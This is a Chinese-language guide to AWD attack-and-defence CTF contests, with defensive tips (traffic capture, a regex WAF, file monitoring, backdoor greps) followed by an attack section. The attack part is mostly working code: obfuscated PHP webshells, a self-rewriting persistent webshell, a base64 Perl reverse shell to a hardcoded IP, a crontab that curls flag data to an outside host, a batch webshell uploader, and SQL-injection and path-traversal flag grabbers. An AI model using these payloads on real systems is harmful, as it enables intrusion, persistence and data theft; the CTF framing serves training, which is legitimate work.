0x01 AWD模式 Attack With Defence,简而言之就是你既是一个hacker,又是一个manager。 比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。
0x02 出题思路 1:题目类型 1-出题人自己写的cms,为了恶心然后加个so。
2-常见或者不常见的cms。
3-一些框架漏洞,比如ph师傅挖的CI这种
2:代码类型 目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。
3:题目漏洞类型 1-sqli居多
2-文件包含
3-各种rce
4-文件上传
4:出题人思路 为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?
5:拿flag方式 1-是向内网一台机器发送http请求,返回请求中包含flag。
2-是例如/home目录下放置flag文件。
0x03 防御技巧 1.分析流量
1 2 sudo tcpdump -s 0 -w flow.pcap port 80
使用scp写个脚本实时将流量包拷贝到本地用wireshark进行分析
2.分析日志
1).weblogger
2).LogForensics 腾讯实验室
3).北风飘然@金乌网络安全实验室
4).网络ID为piaox的安全从业人员
5).网络ID:SecSky
6).网络ID:鬼魅羊羔
1 2 3 4 /var/log /apache2/ /usr/local /apache2/logs /usr/nginx/logs/
3.打包源码&备份数据库
1 2 3 4 tar -zcvf archive_name.tar.gz directory_to_compress tar -zxvf archive_name.tar.gz
1 2 3 4 5 6 7 8 9 10 11 12 mysqldump -u root -p --databases choose test > /tmp/db.sql source ~/db.sqlmysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql mysql> set password for 用户名@localhost = password('新密码' ); mysqladmin -u用户名 -p旧密码 password 新密码
4.重置ssh密码
5.部署waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php function customError ($errno, $errstr, $errfile, $errline) { echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />" ; die (); } set_error_handler("customError" ,E_ERROR); $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)" ; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)" ; $cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)" ; function StopAttack ($StrFiltKey,$StrFiltValue,$ArrFiltReq) { if (is_array($StrFiltValue)){ $StrFiltValue=implode($StrFiltValue); } if (preg_match("/" .$ArrFiltReq."/is" ,$StrFiltValue)==1 ){ print "360websec notice:Illegal operation!" ; exit (); } } foreach ($_GET as $key=>$value){ StopAttack($key,$value,$getfilter); } foreach ($_POST as $key=>$value){ StopAttack($key,$value,$postfilter); } foreach ($_COOKIE as $key=>$value){ StopAttack($key,$value,$cookiefilter); } if (file_exists('update360.php' )) { echo "请重命名文件update360.php,防止黑客利用<br/>" ; die (); } function slog ($logs) { $toppath=$_SERVER["DOCUMENT_ROOT" ]."/log.htm" ; $Ts=fopen($toppath,"a+" ); fputs($Ts,$logs."\r\n" ); fclose($Ts); } ?>
使用方法: (1).将waf.php传到要包含的文件的目录 (2).在页面中加入防护,有两种做法,根据情况二选一即可: a).在所需要防护的页面加入代码
1 require_once('waf.php');
就可以做到页面防注入、跨站 如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中! 添加require_once(‘waf.php’);来调用本代码 常用php系统添加文件
1 2 3 4 5 6 PHPCMS V9 \phpcms\base.php PHPWIND8.7 \data\sql_config.php DEDECMS5.7 \data\common.inc.php DiscuzX2 \config\config_global.php Wordpress \wp-config.php Metinfo \include\head.php
b).在每个文件最前加上代码 在php.ini中找到:
1 2 Automatically add files before or after any PHP document. auto_prepend_file = 360_safe3.php路径;
需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。
如果不能部署waf我们可以简单的写个apache配置文件来禁止PHP执行
1 2 3 4 5 6 7 8 9 10 <Directory "/var/www/html/"> Options -ExecCGI -Indexes AllowOverride None RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml php_flag engine off <FilesMatch ".+\.ph(p[3457]?|t|tml)$"> deny from all </FilesMatch> </Directory>
6.干掉不死马的方式
(1).ps auxww|grep shell.php
找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
(2).重启php等web服务
(3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
(4).创建一个和不死马生成的马一样名字的文件夹。
7.修改curl命令
1 2 3 4 5 alias curl='echo fuckoff' alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"' chmod -x curl /usr/bin curl路径
8.用D盾扫描源代码删除后门文件
1 2 3 4 find . -name '*.php' | xargs grep -n 'eval(' find . -name '*.php' | xargs grep -n 'assert(' find . -name '*.php' | xargs grep -n 'system('
9.查找常见备份文件
10.重置web的各种登录密码(如果比赛check认为修改密码算down就不要修改了)
11.将uploads
等文件夹使用chattr
对文件底层属性进行控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 chattr命令的用法:chattr [ -RVf ] [ -v version ] [ mode ] files… 最关键的是在[mode]部分,[mode]部分是由+-=和[ASacDdIijsTtu]这些字符组合的,这部分是用来控制文件的 属性。 + :在原有参数设定基础上,追加参数。 - :在原有参数设定基础上,移除参数。 = :更新为指定参数设定。 A:文件或目录的 atime (access time)不可被修改(modified), 可以有效预防例如手提电脑磁盘I/O错误的发生。 S:硬盘I/O同步选项,功能类似sync。 a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文件安全,只有root才能设定这个属性。 c:即compresse,设定文件是否经压缩后再存储。读取时需要经过自动解压操作。 d:即no dump,设定文件不能成为dump程序的备份目标。 i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。 j:即journal,设定此参数使得当通过mount参数:data=ordered 或者 data=writeback 挂 载的文件系统,文件在写入时会先被记录(在journal中)。如果filesystem被设定参数为 data=journal,则该参数自动失效。 s:保密性地删除文件或目录,即硬盘空间被全部收回。 u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。 各参数选项中常用到的是a和i。a选项强制只可添加不可删除,多用于日志系统的安全设定。而i是更为严格的安全设定,只有superuser (root) 或具有CAP_LINUX_IMMUTABLE处理能力(标识)的进程能够施加该选项。 应用举例: 用chattr命令防止系统中某个关键文件被修改:
12.部署文件监控,如果发现新上传文件或者文件被修改立即恢复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 import osimport hashlibimport shutilimport ntpathimport timeCWD = os.getcwd() FILE_MD5_DICT = {} ORIGIN_FILE_LIST = [] Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82' bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS' logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN' Special_string = 'drops_log' UNICODE_ENCODING = "utf-8" INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) Special_path = { 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)), 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)), 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)), 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)), } def isListLike (value) : return isinstance(value, (list, tuple, set)) def getUnicode (value, encoding=None, noneToNull=False) : if noneToNull and value is None : return NULL if isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance(value, unicode): return value elif isinstance(value, basestring): while True : try : return unicode(value, encoding or UNICODE_ENCODING) except UnicodeDecodeError, ex: try : return unicode(value, UNICODE_ENCODING) except : value = value[:ex.start] + "" .join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else : try : return unicode(value) except UnicodeDecodeError: return unicode(str(value), errors="ignore" ) def mkdir_p (path) : import errno try : os.makedirs(path) except OSError as exc: if exc.errno == errno.EEXIST and os.path.isdir(path): pass else : raise def getfilelist (cwd) : filelist = [] for root,subdirs, files in os.walk(cwd): for filepath in files: originalfile = os.path.join(root, filepath) if Special_path_str not in originalfile: filelist.append(originalfile) return filelist def calcMD5 (filepath) : try : with open(filepath,'rb' ) as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() return hash except Exception, e: print u'[!] getmd5_error : ' + getUnicode(filepath) print getUnicode(e) try : ORIGIN_FILE_LIST.remove(filepath) FILE_MD5_DICT.pop(filepath, None ) except KeyError, e: pass def getfilemd5dict (filelist = []) : filemd5dict = {} for ori_file in filelist: if Special_path_str not in ori_file: md5 = calcMD5(os.path.realpath(ori_file)) if md5: filemd5dict[ori_file] = md5 return filemd5dict def backup_file (filelist=[]) : for filepath in filelist: if Special_path_str not in filepath: shutil.copy2(filepath, Special_path['bak' ]) if __name__ == '__main__' : print u'---------start------------' for value in Special_path: mkdir_p(Special_path[value]) ORIGIN_FILE_LIST = getfilelist(CWD) FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) backup_file(ORIGIN_FILE_LIST) print u'[*] pre work end!' while True : file_list = getfilelist(CWD) diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST)) if len(diff_file_list) != 0 : for filepath in diff_file_list: try : f = open(filepath, 'r' ).read() except Exception, e: break if Special_string not in f: try : print u'[*] webshell find : ' + getUnicode(filepath) shutil.move(filepath, os.path.join(Special_path['webshell' ], ntpath.basename(filepath) + '.txt' )) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.' %getUnicode(filepath) try : f = open(os.path.join(Special_path['log' ], 'log.txt' ), 'a' ) f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n' ) f.close() except Exception as e: print u'[-] log error : file move error: ' + getUnicode(e) md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) for filekey in md5_dict: if md5_dict[filekey] != FILE_MD5_DICT[filekey]: try : f = open(filekey, 'r' ).read() except Exception, e: break if Special_string not in f: try : print u'[*] file had be change : ' + getUnicode(filekey) shutil.move(filekey, os.path.join(Special_path['difffile' ], ntpath.basename(filekey) + '.txt' )) shutil.move(os.path.join(Special_path['bak' ], ntpath.basename(filekey)), filekey) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.' %getUnicode(filekey) try : f = open(os.path.join(Special_path['log' ], 'log.txt' ), 'a' ) f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n' ) f.close() except Exception as e: print u'[-] log error : done_diff: ' + getUnicode(filekey) pass time.sleep(2 ) 七、自动提交
0x04 攻击技巧 1.拿到命令执行漏洞后执行crontab
1 2 3 */5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag=' $(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
2.注意源码中或者备份文件中是否存在mysql等的弱口令
3.主机发现
1 2 3 4 5 6 ./httpscan.py 172.16.0.0/24 –t 10 masscan -p 80 172.16.0.0/24 nmap –sn 172.16.0.0/24
4.常用的特殊webshell
控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。 简单举例:
1 <?php ($_=@$_GET[2 ]).@$_($_POST[1 ])?>
连接方式:php?2=assert密码是1。 献上我常用得一句话
1 2 3 4 5 6 7 8 <?php $a=chr(96 ^5 ); $b=chr(57 ^79 ); $c=chr(15 ^110 ); $d=chr(58 ^86 ); $e='($_REQUEST[C])' ; @assert($a.$b.$c.$d.$e); ?>
使用为?C=phpinfo();
1 2 3 <?php $sF="PCT4BA6ODSE_" ;$s21=strtolower($sF[4 ].$sF[5 ].$sF[9 ].$sF[10 ].$sF[6 ].$sF[3 ].$sF[11 ].$sF[8 ].$sF[10 ].$sF[1 ].$sF[7 ].$sF[8 ].$sF[10 ]);$s22=${strtoupper($sF[11 ].$sF[0 ].$sF[7 ].$sF[9 ].$sF[2 ])}['n985de9' ];if (isset ($s22)){eval ($s21($s22));} ?>
配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)
5.权限维持
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php set_time_limit(0 ); ignore_user_abort(true ); $file = '.conifg.php' ; $shell = "<?php echo system(" curl 10.0 .0 .2 "); ?>" ; while (true ){ file_put_contents($file, $shell); system('chmod 777 .demo.php' ); usleep(50 ); } ?>
tips:.config.php
前面使用一个点,能很好的隐藏文件。 想要结束这个进程,除了最暴力的重启apache服务之外,更为优雅的如下:
1 2 3 4 5 6 7 <?php while (1 ) { $pid=1234 ; @unlink('.config.php' ); exec('kill -9 $pid' ); } ?>
先查看进程,查看对应的pid,再执行即可。
素质低的人则会放置一个md5马,比如
1 2 3 4 <?php if (md5($_POST['pass' ])=='d8d1a1efe0134e2530f503028a825253' )@eval ($_POST['cmd' ]); ?>
如果素质低的人又很猥琐,像rootrain 这种就是。那就是利用header
,最后综合起来就是
1 2 3 4 5 6 7 8 <?php echo 'hello' ;if (md5($_POST['pass' ])=='d8d1a1efe0134e2530f503028a825253' ) if (@$_SERVER['HTTP_USER_AGENT' ] == 'flag' ){ $test= 'flag' ; header("flag:$test" ); } ?>
放进config.php
效果最好,因为一般很少人去看这个。
还可以采用反弹shell的方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php function which ($pr) { $path = execute("which $pr" ); return ($path ? $path : $pr); } function execute ($cfe) { $res = '' ; if ($cfe) { if (function_exists('exec' )) { @exec($cfe,$res); $res = join("\n" ,$res); } elseif (function_exists('shell_exec' )) { $res = @shell_exec($cfe); } elseif (function_exists('system' )) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists('passthru' )) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif (@is_resource($f = @popen($cfe,"r" ))) { $res = '' ; while (!@feof($f)) { $res .= @fread($f,1024 ); } @pclose($f); } } return $res; } function cf ($fname,$text) { if ($fp=@fopen($fname,'w' )) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } $yourip = "192.168.71.1" ; $yourport = '9999' ; $usedb = array ('perl' =>'perl' ,'c' =>'c' ); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==" ; cf('/tmp/.bc' ,$back_connect); $res = execute(which('perl' )." /tmp/.bc $yourip $yourport &" ); ?>
之后本地执行nc -lp 9999
即可
6.获取flag的方式
(1) 批量传webshell(shell的内容可以写为权限维持部分的那个脚本),之后结合批量访问 参考PHP-定时任务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import urllib import urllib2 import sys import base64 import re def post(url, data): req = urllib2.Request(url) data = urllib.urlencode(data) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) response = opener.open(req, data) return response.read() def get_shell_path(posturl,passwd): shell_path = "" try: data = {} data[passwd] = '@eval(base64_decode($_POST[z0]));' data['z0' ]='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107' shell_path = post(posturl, data).strip() except Exception: pass return shell_path def main(): print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n' shellfile = sys.argv[1] localfile = sys.argv[2] shell_file = open(shellfile,'rb' ) local_content = str(open(localfile,'rb' ).read ()) for eachline in shell_file: posturl = eachline.split(',' )[0].strip() passwd = eachline.split(',' )[1].strip() try: reg = ".*/([^/]*\.php?)" match_shell_name = re.search(reg,eachline) if match_shell_name: shell_name=match_shell_name.group(1) shell_path = get_shell_path(posturl,passwd).strip() target_path = shell_path.split(shell_name)[0]+localfile target_path_base64 = base64.b64encode(target_path) target_file_url = eachline.split(shell_name)[0]+localfile data = {} data[passwd] = '@eval(base64_decode($_POST[z0]));' data['z0' ]='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7' data['z1' ]=target_path_base64 data['z2' ]=base64.b64encode(local_content) response = post(posturl, data) if response: print '[+] ' +target_file_url+', upload succeed!' else : print '[-] ' +target_file_url+', upload failed!' else : print '[-] ' +posturl+', unsupported webshell!' except Exception,e: print '[-] ' +posturl+', connection failed!' shell_file.close() if __name__ == '__main__' : main()
(2) 或者直接执行下面的脚本
1 2 3 4 5 6 7 #!/bin/bash while true do flag=$(curl 'http://172.16.4.42:800' ) curl --cookie "PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD" --data "key=" ${flag} "http://172.16.4.42/index.php/wargame/submit" sleep 1s done
(3) 有些SQL注入漏洞可以通过sqlmap利用—sql-shell 执行select load_file('/flag')
来获取flag。最好直接利用脚本来获得。
1 2 3 4 5 6 7 8 9 def sqli (host) : global sess_admin data = {"section_name" :"asd" ,"admin_name" :"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'" ,"announcement" :"asd" } r = sess_admin.post('http://%s/index.php/section/add' %host,data=data) flags = re.findall(r'~(.+?)~' ,r.content) if flags: return flags[0 ] else : return "error pwn!"
(4) 文件包含漏洞,直接可以通过../../../../../../flag的方式获取
1 2 3 4 5 6 7 def include(host): r = requests.get(url="http://%s/?t=../../../../../../flag" %host) flags = re.findall(r'^(.+?)<' ,r.content) if flags: return flags[0] else : return "error pwn!"
(5)批量提交flag的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import sysimport jsonimport urllibimport httplibserver_host = '10.10.0.2' server_port = 80 def submit (team_token, flag, host=server_host, port=server_port, timeout=5 ) : if not team_token or not flag: raise Exception('team token or flag not found' ) conn = httplib.HTTPConnection(host, port, timeout=timeout) params = urllib.urlencode({ 'token' : team_token, 'flag' : flag, }) headers = { "Content-type" : "application/x-www-form-urlencoded" } conn.request('POST' , '/api/submit_flag' , params, headers) response = conn.getresponse() data = response.read() return json.loads(data) if __name__ == '__main__' : if len(sys.argv) < 3 : print 'usage: ./submitflag.py $team_token $flag' sys.exit() host = server_host if len(sys.argv) > 3 : host = sys.argv[3 ] print json.dumps(submit(sys.argv[1 ], sys.argv[2 ], host=host), indent=4 )
7.批量修改ssh密码的脚本(猥琐流直接干掉几个对手)
8.如果有发现有预留后门,要立即使用脚本进行获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsurl="http://192.168.71." url1="" shell="/Upload/index.php" passwd="abcde10db05bd4f6a24c94d7edde441d18545" port="80" payload = {passwd: 'system(\'cat /flag\');' } f=open("webshelllist.txt" ,"w" ) f1=open("firstround_flag.txt" ,"w" ) for i in [51 ,52 ,53 ,11 ,12 ,13 ,21 ,22 ,23 ,31 ,32 ,33 ,41 ,42 ,43 ,71 ,72 ,73 ,81 ,82 ,83 ]: url1=url+str(i)+":" +port+shell try : res=requests.post(url1,payload,timeout=1 ) if res.status_code == requests.codes.ok: print url1+" connect shell sucess,flag is " +res.text print >>f1,url1+" connect shell sucess,flag is " +res.text print >>f,url1+"," +passwd else : print "shell 404" except : print url1+" connect shell fail" f.close() f1.close()
9.自写敏感功能。主办方可能已经把CMS本身的漏洞补全了,并自写了一些敏感功能,如上传、包含界面..,这时候需要自己手动去发现(利用seay代码审计工具可快速定位、ls -t按修改时间来看最新被修改的文件),分析,删除,利用。
10.fork炸弹
0x05 参考